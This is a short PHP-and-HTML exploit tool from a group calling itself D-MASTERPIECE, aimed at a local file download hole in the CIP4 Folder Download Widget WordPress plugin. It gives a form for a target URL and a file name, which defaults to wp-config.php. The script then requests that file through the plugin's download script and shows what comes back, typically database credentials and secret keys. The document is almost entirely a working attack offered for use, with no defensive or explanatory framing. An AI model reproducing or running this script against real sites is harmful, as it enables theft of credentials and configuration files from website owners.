Exploit WP | Exploit Wordpress | CIP4 Folder | LFD Vulnerable

<form method="GET">
URL : <input type="text" name="url" size="40"><br>
FILE : <input type="text" name="file" size="40" value="wp-config.php"><br>
<input type="submit" name="dm" value="exploit"><br><br>
</form>
<hr>
<?php
/**

DM | D-MASTERPIECE
Author Script Exploiter : www.facebook.com/PeZeEf
FB Group : www.facebook.com/groups/D.MASTERPIECE
Release Script Date : 21 / 01 /2015
Release Script View :  https://m.facebook.com/groups/192316047565078?view=permalink&id=609653452498000&_rdr

**/

if(isset($_GET['url']) && !empty($_GET['url'])){
$url = $_GET['url'];
$file = $_GET['file'];
$fp = fopen("cookie.txt", "w+");
$Cookie = realpath('cookie.txt');
$request = "?target=$file&info=$file";
$web = $url."/wp-content/plugins/cip4-folder-download-widget/cip4-download.php".$request;
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,"$web");
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0');
curl_setopt($curl,CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_COOKIEFILE, "$Cookie");
curl_setopt($curl,CURLOPT_TIMEOUT,5);
$gweb = curl_exec($curl);
echo '<textarea rows="30" cols="50">'.htmlentities($gweb).'</textarea>';
}
?>